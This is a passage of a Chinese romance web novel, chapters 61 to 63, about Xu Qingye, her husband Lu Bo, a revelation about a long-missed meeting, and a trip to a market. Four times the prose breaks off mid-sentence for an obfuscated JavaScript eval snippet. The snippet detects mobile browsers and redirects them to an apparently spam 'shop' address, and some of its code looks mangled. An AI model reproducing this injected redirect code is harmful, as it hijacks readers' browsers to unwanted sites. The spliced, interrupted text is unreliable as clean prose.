许清也换了视线角度仔细看,漆黑的车前盖边隐约露出来半片纯白色的裙角。 女人大部分的身影被越野车霸道的车型笼盖住,直到她忽然去拉副驾的车门,许清也才从半开的车窗平视着看见她骨相优越的侧脸线条。 女人穿着一条裁剪合度的白色礼裙,款式简单不算隆重,但在她身上好像穿出了贵价晚礼服的气质。 许清也低头看看自己身上简单的针织衫和牛仔裤,怀疑她这么穿明天会不会着凉。 其实也隐约能猜出马路对面女人的身份,但终究不能确认。 班长注意到她专注的视线,顺着方向看去,惊讶道: “这不何大校花吗?” “那个不会就是传说中的路学长吧?” 他这回记得有热闹带吴思蔓一块看了,拍着吴思蔓的肩示意她快看。 马路对面的两人不知道在说什么,但从肢体语言看,男人态度冷硬,女人一身白裙楚楚可怜,好像还没聊出什么结果来。 班长捏着下巴猜测: “看起来这路学长态度还挺硬。” “真态度硬就不会停车跟人家在路边聊这么久了。”看起来是激动到连越好要接人的事情都忘了。 许清也冷不丁出声,后半句想了想还是咽了下去没说。 她一向是个说话委婉好听的人,很少这么生冷地反驳人,这会儿话里话外的还有点讽刺的意思。 班长跟吴思蔓对视一眼,齐刷刷惊讶地看向她。 许清也意识到自己的反常,可她感觉有点冷,心情也不怎好,有点懒得圆话。 按了按电源键,手机好像已经自动关机了。 事事不顺的感觉有点糟心,她干脆拉着吴思蔓的手道: “蔓蔓,好像他临时有事来不了了,要不我打车送你回去吧?” 许清也看起来情绪有点低落,好像就是一瞬间内的情绪转变。 “好啊。” 吴思蔓愣了一瞬,点头答应。 班长叫的代驾先一步到了,他回头看了眼两个喝了点酒的女孩,有点不好意思一个人先走。 一转头,还没客气出口,吴思蔓就先拒绝道: “你走你的吧,江城治安那么好,我俩没事的。” 班长算是服气了吴思蔓不怼他就不高兴的脾气了,犹豫了两秒,还是对着许清也道: “小也,有件事我之前是没联系上你,后来也就忘了。” “刚才想起来,犹豫了半天,还是觉得应该告诉你。” 吴思蔓听出来这话里的意思了,应该是不方便她在场。 于是她转身道: “你们聊,我嗓子有点干,先去买瓶水。” 许清也想不到班长还有什么秘密能跟她说,也就没拦她,点点头跟班长“借一步说话”,转到饭店侧边的背风墙边说话。 班长一开 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13212443|130745||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 始好像有点不知道该怎么开头,没头没尾地问她: “你还记得思蔓给你拍的那张照片吗?就高考前那次有流星的晚自习。” 许清也点点头。 她当然记得,前几天才刚从空间相册里找回来呢。 “记得啊,怎么了?”她好奇地追问。 “就咱们领档案那天,有个男孩拿着那张相片到咱们班找过人,我寻思那照片应该是找你。” 许清也呼吸一窒,语气变得有些急迫地问: “那天什么时候?” “就你刚走不久,”班长看出来她好像是知情的,舒了口气,觉得自己应该没说错事,“我跟他说后门那条路说不准能追上,他一句话也没说就追着跑出去了。” …… 原来他那天真的有来找过她。 哪怕失联、哪怕最后的句子是拒绝,他还是遵守了一个人的约定,拎着冰牛奶跑到三中的后门,来找过她的。 许清也沉默下来。 有时候觉得老天爷对她也真顽劣,哪怕是这样,她那天最后也还是没能见到“国王”先生。 班长偷偷瞥了眼她的脸色,遗憾道: “看来最后还是没赶上。” 后来许清也换了住址,也没再登过□□,班长联系不上她,久而久之也就忘了这回事。 “我应该早点告诉你的。” 班长一拍脑袋,看她有些怅然失神的样子,觉得这事可能比他想象中更令许清也在乎。 “哦对了,当时吴思蔓好像在后门看见他了,说是拎着冰牛奶,捧着片菩提叶脸色冷漠得吓人。” 许清也心跳忽然落了一拍。 熟悉的字眼和描述让她不可抑制地想起另一个人,某个再三被压在心底的猜测重新冒头,让她短暂错拍的心脏砰砰地加速跳动起来。 如果…… 她脑中某些不可解释的细节疯狂地长出藤曼,交缠着布成一条完整的线条。 “没事。” 许清也暂时整理情绪,从思绪中回神,笑着认真道谢。 “真的很谢谢你可以跟我说这件事。” “不用这么认真了。”班长有点错愕于她郑重的态度,摆手道,“举手之劳而已。” “不,还是要谢谢你的。” 许清也态度坚持。 这对他而言也许是举手之劳,顺手告诉她一件青春的插曲而已。可是对她来说,却是给她残缺的青春画像上补上一道光影。 告诉她原来不是她一个人的等待。 只是怪时光狠辣,偏偏要把本可以重合的时间错开。 两人话音未落,目光内忽然暗下一角,出现一道高大劲瘦的男人身影。 许清也心跳一颤,说不出此刻心底带着的期盼有几分来自他,几分来自那个疯狂的猜测。 抬头对上男人熟悉的眉眼,她一时间张了张唇,大脑停转到不知道该说什么。 路薄的刘海被风吹的有点乱,看起来是把车停在前面跑过来的,深潭般的双目中藏着星星点点的着急。 对上许清也思绪混乱的眼神,他眼中的着急、慌乱,还有许清也猜不出的情绪纷纷碎落在深潭中,只剩下无比的庆幸与珍重。 他最终只是气息不稳地短叹了口气,白皙骨感的大手不算温柔地揉着她的发顶,用一种好像什么时候都拿她没办法的语气无奈道: “许清也,终于找到你了。” 61. 男狐狸精 他只说了一句话,语气却像是长舒了一口气。 许清也脑子里乱乱地,还没缓过神来,就听他带着笑意问道: “不是说在饭店门口等我就好吗?” 路薄抚着她发顶的掌心移开,自然地握住她垂在身侧的手。 说完了这些,他才像是恍然发现在场还有另一个人似地转头疏离而客气地朝许清也身边的男生点了点头。 一转头,才发现这人从刚才开始,就一直盯着他看。 目光可以说直接到有些冒犯,路薄不悦地轻皱了皱眉。 指尖微动,原本想直接拉着许清也离开,但碍于刚才许清也跟他相谈甚欢的样子,路薄还是压着性子道: “我们就先走了。” 吴思蔓去便利店还没回来,许清也顿在原处没动,伸手拉住他的手腕,下意识要拒绝。 路薄眸光一顿,本以为她是要彻开他的手,可女孩的手在空中滞了一瞬,最后半握在他的手腕上。 “等等。”许清也握紧他手腕。 “我刚才跟说好要送一个好久不见的朋友说好了,要送她回酒店的。” 路薄没再说话,点了点头算作回答。 气氛尴尬,许清也想起来还没给两人相互介绍,刚要开口,班长叫的代驾已经呆不住地把车靠到了路边,按着喇叭提醒时间。 班长原本也喝得有点小醉,正苦苦回忆着,一道震天的喇叭声响得他瞬间清醒。 担心代驾坐地起价,他赶紧告辞往车边走去。 至于刚才原本想说的话,早就往在了脑后。 临关上车门的瞬间,班长坐在车里往许清也那边看。 两人站在背风的灯牌下,霓虹色的光圈映在脚底的石砖上,背着光,两人仿佛笼罩在一层模模糊糊的橙黄光晕中。 有什么模糊的画面在记忆中一闪而过,车开动的时候,他忽然探出头招着手道: “祝你们幸福啊!” 后视镜里的男女好像有点错愕地看着远去的车流。 代驾的小哥瞥见后座顾客的样子,冷冰冰地提醒: “先生,您这样不太安全。” “哦……” 班长迟钝地收回还在车窗外的手,忽然直起身拍了拍驾驶座皮质的座位侧边。 “唉,看见刚才路边那对夫妻不,是不是男帅女美?” “我估计还能算的上他俩半个媒人了吧?” “果然缘分这东西,一回错过算不了什么。” 代驾小哥不怎么搭理他,班长倒是不需要捧哏,瘫坐回后座,感叹道: “老天爷,你倒是什么时候轮到给我分配这个么注定的爱人啊?” ——— 送吴思蔓到了酒店楼下,回程的路上,许清也坐在副驾驶的位置,自以为隐秘地偷偷瞄了他的侧脸一眼又一眼。 “怎么了?” 凭对她的了解,路薄敏锐地感觉到她好像有话要说。 窗外临街的霓虹灯牌掠过,漆黑的车里划过几道车灯的橘红灯光,许清也捧着脸看光影掠过他的侧脸,不知道在想什么。 “没事。” 她摇了摇头。 路薄当然不信,但她不愿意说,他也就无计可施地轻笑着转过头。 “我没跟她说两句话。” “你的叶脉书签什么时候做的。” 两人同时出口,短楞了一秒,又笑着同时道: “你先说吧。” “你先把磨蹭那么久才来的事说完。” 许清也收回捧着下巴的掌心,双手抱臂靠在角度舒适的靠背上,一副他撞到枪口上的表情。 男人冷白的手腕随意搭在方向盘上,指节在皮质的方向盘上无声地敲打几下,眸中浮现一片朦胧的欢喜。 虽然隔着马路,但他知道许清也已经看到他了。 她果然是在乎他停车跟何玫说话的事。 “她追过来说了些莫名其妙的话,我拒绝了,仅此而已。” “至于在马路对面停车,只是因为她之前带人扎咱们家车胎未遂,我想至少应该警告一下才对。” 许清也抱着小臂靠在车座上,听故事一样听完了前因后果,听到最后忍不住皱了眉心,抓住他轻轻掠过的部分问: “关于那些莫名其妙的话,你的拒绝不会是当着所有同学的面吧?” 在她疑问好奇的目光下,男人不负所望地点了点头。 这下她连后面的因果关系也串起来了。 能让何校花气到酒精上头地特地带人去扎他的车胎,可想而知,这家伙说了多么有损女神颜面的话。 “原来如此。” 她了然地点了点头。 其实这些话题压根让她提不起兴趣,因为对身边这个男人足够的信任,许清也那些酸溜溜的小心思都是一闪而过,不会一直纠结在心里。 更何况现在她有更想知道的事情。 “那书签呢?” 关于“何学妹”的话题告一段落,许清也的气势又懒散下来,靠着车窗慢悠悠地问: “你还没回答我,那是什么时候做的?” 路薄放在方向盘上的手一顿,掌心好像还残留着早上那片菩提叶被她放入掌心的痒意。 垂眸敛去眼中的情绪,他含糊道: “大学的时候。” “海市大学也有种这种菩提吗?” 许清也不死心,继续试探地追问。 “没有。”他的思绪跟随着她的话短暂想起了在海市度过的那几年。 他答得干脆,其实自己也并不确定。 大学几年,他大多时候都在图书馆和实验室来回,剩下跟导师外出实地考察的日子也并不轻松。直到毕业,他也没有闲心逛完过整个校园。 既然海市大学没有,那就是在江城捡的喽? 许清也顺着他的话问: “做那片书签的叶子,也是在三中捡的吧?” “嗯。” 男人的声音像是从喉底挤出来的,低沉短促,不可避免地透露出他对这个话题的抗拒。 许清也还想再问些什么,可直到洗漱完钻进被窝,路薄都不肯再多回答一个字。 三棒子打不出一个闷字,好像又回到了两人刚成为邻居的时候。 许清也寒暄三句,他也不见得回短短一句。 他越是这个态度,许清也越是怀疑好奇。 房门没关,许清也转了个身背对他,佯装因为他不肯开口的态度生气了,实则默默盘算着怎么多问出点其他讯息。 芝士轻扫着尾巴,悄无声息地从门外探出个脑袋。 许清也正绞劲脑汁回想她跟“国王”先生还聊过什么,对上门口那双幽亮 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13222102|130745||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的眼睛,小小吓了一跳。 “芝士?” 她撑着脑袋从被窝里伸出一只手,朝门口的小家伙招了招手。 不管是之前还是现在,芝士倒是都意外地听她的话。 许清也一招手,它迟疑不了两秒,就迈着模特步步调优雅地一路到床边,弓着脑袋任由许清也挠挠下巴,摸摸背脊。 指尖柔软顺滑的触感让她心里喂叹一秒。 分明就跟它主人一样,看起来高冷,柔软起来却恨不得把肚皮翻出来给你摸摸。 想到身后装睡逃避问题的男人,许清也好笑地弯唇。 没关系,他们还有很长很长的时间可以一点点挖掘记忆。 最终想说的,不想说的,想逃避或是遗忘的,也许都会成为记忆中珍贵的宝藏。 “喵~” 芝士忽然仰头蹭了蹭许清也手背,动作灵活地趴在床框的边缘,三两下跳上了温暖的大床。挤在许清也怀边。 许清也还没来得及反应,一只大手越过她纤细的腰身,提着后颈一把将芝士拎下了床。 “喵呜~” 芝士以同一个角度仰头哀怨地出声,委屈的眼神和坚定的后脑勺好像一套组合拳,傲娇地跟许清也告状。半晌,才委屈地回了自己的小窝。 她侧眸对上路薄的视线。 男人一只手撑在她腰侧,半环着她撑起上半身。 家居t的领口有点大,宽松休闲的版型让他一俯身,身下的女孩就能对他线条优美的肌肉线条一览无余。 路薄比她先一步看出来芝士那点小心思。 他垂眸先一步道: “这家伙掉毛太严重,回头就能滚得你怀里都是猫毛。” 说这话的时候他还一脸正气,只是话音刚落下,许清也就看见他耳根不正常的爆红。 她从被窝里钻出另一只手。 女孩温热的指尖探到他耳侧,带着试探意味地碰了碰男人的耳尖。 灼烫的温度从指尖传来,男人错漏的呼吸不均匀地打在她颊侧,深潭般的双眸中似乎点燃了星点的火苗,无规律的跳动着。 察觉到他忽然暗下的视线,许清也循着视线看去,才发现自己的睡裙不知道什么时候蹭得有些凌乱,纯白色的蕾丝小v领下露出半边莹白的皮肤。 比颈边的颜色还要莹亮娇嫩一个度,即便在只剩下半盏月光的房间里,也显得格外吸引视线。 她下意识挡住,匆忙整理着领口。 忙乱中一抬眸,却发现路薄状似无意地扯了扯他本来就大开的领口。 本来就一览无余的肌肉线条更大剌剌地袒露在她面前。 昏暗的月光中,男人深眉下的双眸被额前垂下的黑发遮住半寸,高挺的鼻梁下是他红润的薄唇。 唇形完美,让人无端生出一种一定很好亲的错觉。 许清也下意识屏住一秒呼吸,心中暗道: 这才是狐狸精。 踢了踢男人的小腿,他却依旧动也不动。 两人的呼吸慢慢升温,保持这个距离,正好是放任灼热的气息暧昧地纠缠在一起。 他性感的喉结就在面前,许清也一个没忍住,揽着他的胳膊吻了上去。 交换主动权的那一秒,记起今晚本来的目的,她恨恨地在他劲瘦的腰上掐了一把,暗骂道: 难搞的男狐狸精! 62. 最佳搭配 冬末春初,阳光的温度温暖却不灼烫,穿透玻璃窗边暖色的窗帘,洒在窗边纯白色的地毯上。 和风吹动窗帘,几缕阳光穿过缝隙,折射间晃过地毯边凌乱的衣物。 刺眼的阳光划过床头,熟睡中的女孩皱着眉从被窝里钻出手臂挡在眼前。 空气中微凉的温度让她模糊中清醒片刻,本能地侧身,往温暖的被窝里埋。 脸颊枕着的地方似乎有些硌人,许清也裹着被子,以蚕宝宝爬行的动作往另一侧蹭了蹭。 满意地合上眼,还没能消停一秒,腰上一阵霸道的力道就把她整个人向后挪了挪,靠上男人热意蒸腾的胸膛。 许清也被吓了一跳,睡意一秒钟内消散了个干净。 意识清醒过来,整个人像是在醋缸子里泡过一样,物理意义上的,浑身泛着酸,随便一动就扯痛了酸痛的小臂。 转头想讨伐罪魁祸首,一回头,入目就是男人沉静的睡颜。 “……” 许清也毫不掩藏视线,直直盯着他令人嫉妒的长睫看了半晌。可路薄似乎睡得很沉,对她直白的视线好无所觉,呼吸依旧轻浅绵长。 看来是下意识的动作。 她沉了口气,忍不住弯唇。 追究这点小事。好像跟路薄在一块待的时间越长,她也变得越来越幼稚了,刚才有那么两秒钟,竟然想的是如何恶作剧地也把他给弄醒。 透过窗帘的阳光柔和地打在男人的侧脸,他的五官是那种带着攻击性的精致,醒着的时候因为常年不变的冷漠脸,更显得距离感十足。 同样是一张不带什么表情的脸,熟睡的他整个人的气场都变得柔软,鸦黑纤长的睫毛垂在饱满的卧蚕上,意外地显出一点脆弱 许清也想,这时候他大概最好欺负了。 意外起了个大早,许清也没了睡意,也没了躺会去继续窝着的意思。 撑着脑袋盯着路薄看了五分钟,男人却迟迟没有要醒来的意思,自觉没趣,她动作极轻地挪开他揽着她腰际的大手,轻手轻脚地起床。 汲着拖鞋出了卧室门,许清也脚步一顿,一眼就看见了四仰八叉睡在道上的芝士。 跟主人一个样。 她回想了一下她离开后路薄的睡姿,好笑又无奈地忍着不笑出声来。 休息日,画册的事情刚开头,她也没什么着急要忙的。 洗漱完,还是浑身都泛着酸。 提不起来劲,许清也索性懒洋洋地窝在阳台的吊椅上晒太阳。 刚才扰人的阳光这会儿升温了些,照在身上温度却正好,暖洋洋地包裹着她。 许清也无聊地侧身打量整间客厅。 视线落在某个堆着纸箱的角落,忽然来了精神。 前阵子困在民宿里养伤,除了画画就是睡觉,她干脆迷上了直播购物,一不小心就买了不少东西。 有几条版型很漂亮的裙子是预售,时间长了,许清也都几乎忘了这些包裹。 而路薄自从尝到了帮她取快递的甜头,对于拿快递这件事基本可以用“积极”二字形容。 许清也已经很久没去过驿站了,也不知道他拿快递的时候,对着迟阿姨是什么说法。 至于面前这几个纸盒,大概就是那几条裙子了。 她兴致冲冲地连着开完了剩下的所有快递,对着镜子比划着欣赏新裙子。 忙活一阵,顺手抱着几个纸盒丢出家门。 打开大门的时候,一阵困倦袭来,许清也捂着脸打了个哈欠。 “小也?” 熟悉的女声自上而下传来,惊得她一哆嗦。 没等到她抬头,站在半截楼梯上的女人三两步走到她面前,用肯定句的语气阴恻恻道: “许—清—也——” “你是不是该解释一下现在这是什么情况?” 迟枣枣扶高头顶度假帽的帽檐,震惊地大量着她一身堪称单薄的蕾丝碎花睡裙。 “这个……” 许清也匆忙丢下手中的快递盒,脑袋也有点短路。 “枣枣,你怎么一大早在这边啊?” 三两句解释不出来个所以然,她干脆转换战术,想用别的话题转移迟枣枣的注意力。 “我是来找你的。” 迟枣枣一句话堵死了别的延申话题,单刀直入地问: “你就一句话吧,你跟路薄到底是什么关系?” 许清也脸上的讪笑僵硬一瞬,低头看了眼自己单薄“真空”的睡衣,理智地放弃了狡辩。 她躲在门框背后,硬着头皮道: “也没什么……” 迟枣枣的目光顺着许清也白皙的颈线下移,睡衣的小v领什么也遮不住,基本上把昨晚的战况汇报了一半给了她。 这情况要是还猜不出来,她恐怕就是傻子了。 看许清也支支吾吾的样子,迟枣枣把手里沉甸甸的旅行包放在脚尖上剩力,且看她表演。 “额,只是……” 知道自己这回是糊弄不过去了,许清也编不出来,就干脆道: “只是结婚的关系。” 没有感觉到预料中的低气压,她担心地抬头,反而看见迟枣枣一脸坏笑盯着她脖子的样子。 !? 许清也光速捂住颈脖,尴尬地招呼迟枣枣道: “枣枣你进来坐坐吧?” 窘迫劲还没过去,她就看清了迟枣枣半拎着的旅行包。 “你这是……要出远门吗?” 许清也了解她,越是长途的旅行,迟枣枣反而越是习惯不带太多的行李,只背一个小小的旅行包。 前阵子的闹剧对迟枣枣的影响看起来不大,她只是郁闷了几天就恢复了正常。但许清也知道,在她心里,远没有那么容易过去。 “嗯,是来跟你告别的。” “我打算去瑞士玩一阵子,你不是知道的吗,我一直很想去那滑雪来着。” 池枣枣没说,她其实是来约许清也来一场说走就走的旅行的。 不过看样子,就算她答应,某人应该也不太愿意。 迟枣枣一个大喘气,许清也差点被她吓得心跳一滞。 “旅行就旅行,说什么告别嘛!吓我一跳。” 她无奈地拍了拍迟枣枣的胳膊,心里还是不太放心。 “行了,那我就赶飞机去了。” 迟枣枣笑着拎起旅行包,挥手转身。 “枣枣,我跟你一起去怎么样?” 许清也这一身睡裙不好追下去,只能站在门口着急地问。 迟枣枣几步进了电梯,装作没听到地朝她挥手告别。 电梯门合上的瞬间,她好像看见了许清也身后男人模糊的身影。 迟枣枣无奈地笑了笑。 这傻女人。 都明显到这种地步了,不会以为真一直骗住她了吧? ——— 电梯门关上,许清也站在门口,眉眼间是化不开的担心。 “路太太。” 她循声侧眸,路薄的脑袋轻轻搁在她右肩上,张开双臂熊抱着她,声音还带着刚醒来的沙哑。 许清也心思全在迟枣枣身上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13235111|130745||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,压根没听清楚他说了什么,就心不在焉地嗯了一声。 “你不会是要赖账吧?” 他冷白修长的指尖指向门口那堆快递盒。结局是收获了许清也一个轻声的: “嗯。” 路薄松开环着她的手,拉着她的胳膊侧身,让人面对他,重新问道: “早安吻可以八折,真的要赖账?” 他指尖比划了一瞬侧脸,皱着眉一脸严肃。 许清也回神,从他熟悉的动作里意会了他的意思。 哪壶不开提哪壶,害她暴露的这么狼狈的正是门口那堆快递盒,路薄居然还试图邀功地求早安吻。 想得挺美。 她一指禅抵着他的肩窝把人推开。拍了拍手,面无表情地打开冰箱门。 心情无法好转,至少慰劳一下肚子。 不看还好,一看更冒火。 ——冰箱里空空如也,就连想凑合煮碗面都苦于没有原料,连颗葱花都加不了。 许清也不太会做饭,所以当路薄提出要全权包办家里的厨房大权的时候,她一口就答应了。 这里面自然也包括采买食材。 她目光冷漠地转过脸,对上男人躲闪的目光。 “家里没什么食材了。” 路薄啪地一声关掉了空荡荡的冰箱。 许清也睨着他。 男人则动作自然地拉着她在沙发上坐下来。 他只以为许清也身上酸软,还在为昨晚他假装听不见她声音的事生气,捏着女孩柔软的小臂低声哄道: “一会儿出去吃好不好?” 小臂被他一捏,酸软的感觉更强烈,空荡荡的肚子有点抗议的意思。 以她的人生信条,从来就不应该期待不是自己亲手准备的东西出现。但看到空荡荡的冰箱的那一刻,一瞬间,她就是有点生路薄的气。 许清也觉得自己好像被路薄养娇气了,竟然莫名其妙有点委屈。 “不吃。” 她改不了迁怒的坏毛病,因为担心迟枣枣而埋怨上路远,只是一抬头看见他们兄弟俩那双相似的眼睛,就忍不住犟嘴。 话一出口,太过冷硬的态度又让她感到一阵沮丧和害怕。 这样任性随心的话,说多了,他也会感觉厌烦的吧? 许清也垂眸看着地板砖间的缝隙,情绪莫名低落下来,在路薄看来,就像是虚张声势的炸毛小猫。 吓唬完人,又一个人躲回角落。 她蜷着身子靠在沙发角落,下巴靠在膝上,环抱着抱枕。 男人站在沙发边,沉默地反思自己是不是做错了。 为了拐她周末一起去菜市场买菜,偷偷计算着扫荡干净了冰箱。到头来没有简单浪漫的周末约会,却让她生气。 思忖半晌,他忽然变魔术一样地把藏在身后的玻璃瓶递到许清也面前。 许清也视线中忽然出现一瓶玻璃罐装的牛奶,瓶身上水珠细密,好像是刚从冰箱里拿出来不久。 她终于顺着他的手抬头看他。 男人伸手挡住瓶底滴落的水珠,头一回语气变得支支吾吾,像个犯了错误的小孩。 “冰箱里其实还有芝士蛋糕。” “小也,你现在……还想吃吗?” ——他好像经常问她想不想吃芝士蛋糕。 许清也望着牛奶瓶,忽然想起她随口跟“国王”先生说过的话: ——“冰牛奶要罐装的那种最好喝。” “告诉你个秘诀。” “要搭着芝士蛋糕一块吃,这是最佳搭配!” 63. 心跳 许清也最后还是没有吃芝士蛋糕。 她接过冰牛奶,也别扭地拉住他的手。 “走吧。” 身体比思绪先一步反应,路薄握紧了她的手配合着拉她起身,还没反应过来她的意思。 沉静的眸中写满两个大字:去哪? 许清也拽了拽他的手,小声道: “不是说出门吃早饭吗。” “你不去吗?” ——— 说是出门吃早饭,兜兜转转,路薄还是拉着她一块去买菜了。 许清也从来没去过菜市场。 这倒也不奇怪,毕竟人生前十几年,她都是许氏捧在手心的大小姐。即便后来工作了,她依然不怎么会做饭,所以就算是买食材,也大多在超市随意买一点,从没在乎过什么新鲜度之类的说法。 按照她的想法,路薄应该也跟她的情况差不多才对。 但被他牵着轻车熟路地拐进菜市场的时候,她才后知后觉地发现他分明是经常来的样子。 他们来的菜场就在小区边上不远,在楼下的小吃店简单吃了早饭,两人没去开车,就当散步一样走两步就到了地方。 许清也在这个小区住了三年,从来不知道这么近的地方就有一个这么大的菜市场。 这里的菜市场前两年整顿过卫生,并不像她想象中那样杂乱,用童趣一点的形容来说,反而像是一个大大的跳蚤市场。 新鲜的绿色蔬菜还带着水露,一排排堆在菜摊一角,还没走到熟食的区域,许清也已经问道许多半成卤味菜品的香味。 路薄一走进菜市场,卖豆制品的阿姨就笑着跟他打招呼道: “小路今天休息啊?这段时间好久没看见你了。” 许清也本以为路薄不会理,还提前准备替他寒暄几句。毕竟他对社区里某些常常在绿化小花园散步的阿姨,一项就是这个态度。 没想到他居然破天荒地点了点头,简单回应道: “今天休息,就跟老婆一块来买菜。” 许清也被他自然的称呼惊了一下,脚步落后两步,又轻晃着他的手跟上。 接下来一路,她算是感受了一把菜市场版的《我的霸道男友》。 路薄平常也要上班,大采购,当然是要准备一整周的食物量。过程中几乎是不眨眼地疯狂采购,而且他买菜从不讲价,也不会让菜摊子的阿姨们给抹零或松点小葱。 爽快好骗又帅气养眼的顾客,谁不喜欢? 他在菜市场如鱼得水的原因也算是找到了。 许清也本来也想一块挑挑看,但他把她的右手握的死死地,一点挣脱的机会都不给。 一只手检菜是会动作慢一点,但路薄好像一点也不在乎这一点时间,反而有点享受地慢慢挑选。 因为常常过来这边买菜,这几个摊位的阿姨跟路薄都熟络了,他慢慢检菜也不会催促,反而有一搭没一搭地跟他们聊起天。 路薄虽然跟菜市场的大家显得略熟悉,那也基本止于简单的招呼,至于聊天,也只是简单地回应几句,不太热络。 许清也被他牵着不肯放,只能把两人紧握的手往身侧低调地藏了藏,索性乖乖看他挑选。 菜摊子的阿姨习惯了路薄不怎么回答的性格,热络地找到了新话题。 提及他身侧的许清也,才夸了两句她漂亮,路薄果然弯唇答道: “她的确漂亮又聪明。” 许清也被他直白的话夸得耳尖有点红,看他还要接着话题发挥,悄悄挠了挠他的手心警告。 男人垂眸看了一眼被警告的手心,许清也居然从他的眼神中读出了两分委屈。 不过总归是没有再说些让人不好意思的话。 扫荡一大圈,该买的都买了,路薄单手拎着巨大的两大袋红色塑料袋,一只手仍然绕道身后牵着她。 许清也觉得他太粘人了,不情不愿地跟在他身侧。 自从上次两人在盐湖山说开了,他在她面前也变得不像以前那么冰冷了,愿意泄露更多情绪的背后,似乎整个人也从里到外都透露着一股不安。 好像但凡离她远一点,就害怕她会忽然消失不见。 许清也觉得不能这样下去,或许她可以帮他治一治这个毛病。 她瞄准水产区边上的一排休息长椅,经过旁边的时候忽然一屁股坐好,耍赖道: “我走累了。” 路薄低头看着她打定主意不挪窝的样子,低声用一种极其耐心温柔的声音劝道: “买的差不多了,再去水产去走走我们就回家。” 许清也不吃他这套,悄悄推开他的手。 “不行,真的一点都走不动了。” “你就自己去买吧,我们也好早点回家。” 她蛮力挣开他的手,指尖指向不远处的水产区域。 路薄顺着她指尖的方向看去。 水产区跟这边的长椅之间只有几根长柱阻挡,他在心里短暂估计了一下距离,站在他常光顾的摊位面前,虽然距离有点远,但还是能看见她。 衡量了几秒,在女孩一脸快要生气的表情中,路薄终于妥协地放下了拎着的两袋子菜。 “那我很快就回来。” 许清也挥着手催促他赶紧去。 坐在长椅上等路薄回来,闲得无聊,她打开塑料袋数起来他到底买了多少种蔬菜。 一打开袋子,就发现一小袋不属于他们结账内容的小葱。 白色小袋子里一小捆青葱漂亮的小葱上还站着水露,品相很不错。 许清也虽然不常到超市买食材,但刚才她也明显感觉到路薄买的那几家菜摊的菜品相虽然好,但价格偏贵不少。 说实话,她还以为他是被宰惯了。 看来,也不是纯宰。 抬头在人群中搜寻他的身影,许清也一眼就看到了鱼虾摊子面前的男人。 他似乎碰到了熟人,正在跟人低声交谈。 她觉得有点眼熟,凝神仔细分辨,忽然想起来他身边那个男生正是那天开车送喝醉的他回家的人。 男生似乎说了什么让路薄不高兴的话,两人没聊两句,路薄就皱着眉心转身挑选活虾。 男生好像还想说些什么,他背对着人家,一点回应的意思都没有。 买完了鱼虾,路薄好像忽然想起还有什么漏买了,转身搜寻她身影。 远远跟她比划了几个手势示意她再等等,背影就转身消失在转角。 许清也继续低头无聊地清点蔬菜,视线中忽然出现一道男生的影子。 她顺着影子抬头,刚才跟路薄说话的那个男生正站在她面前,挠着脑袋不好意思地开口打招呼道: “嫂子你好!” “我叫石宇,是路哥组里的同事。” 许清也不知道他的来意,客气地点头道: “我认得你,上次他聚餐喝醉了,辛苦你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13260151|130745||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 还把他送回家了……” 那天夜色昏暗,石宇没想到许清也还记得他,咧嘴笑着点了点头道: “嫂子你别客气,路哥平时在院里那么照顾我,我这都是应该的。” 许清也暗暗挑眉。 她倒是有点想象不出来路薄在办公室亲切照顾后辈的样子。 本来以为他只是碰巧过来打个招呼,客套几句,石宇却忽然吞吞吐吐起来。 显然是有话要说。 许清也看出来他的犹豫,开门见山地道: “如果你有什么想说的,就直说吧?” 有了她一句话,石宇终于下定决心多管闲事,把话题迈入了正题。 他叹了口气,艰难地开口: “嫂子,关于这次去喜马拉雅的考察项目,路哥跟你说过吗?” ———— 花鸟店门口。 路薄径直走进店里,迎面而来的一股鱼腥味让他不自觉地皱了眉。 “想买什么类型的鱼?” 老板没再管蹲在门口盯着鱼缸里的鱼看了半天的几个孩子,走过来招呼。 路薄几乎没怎么看其他鱼鸟,视线在店里简单地环顾,立刻顿在最普通的金鱼缸里。 “就这个吧。” 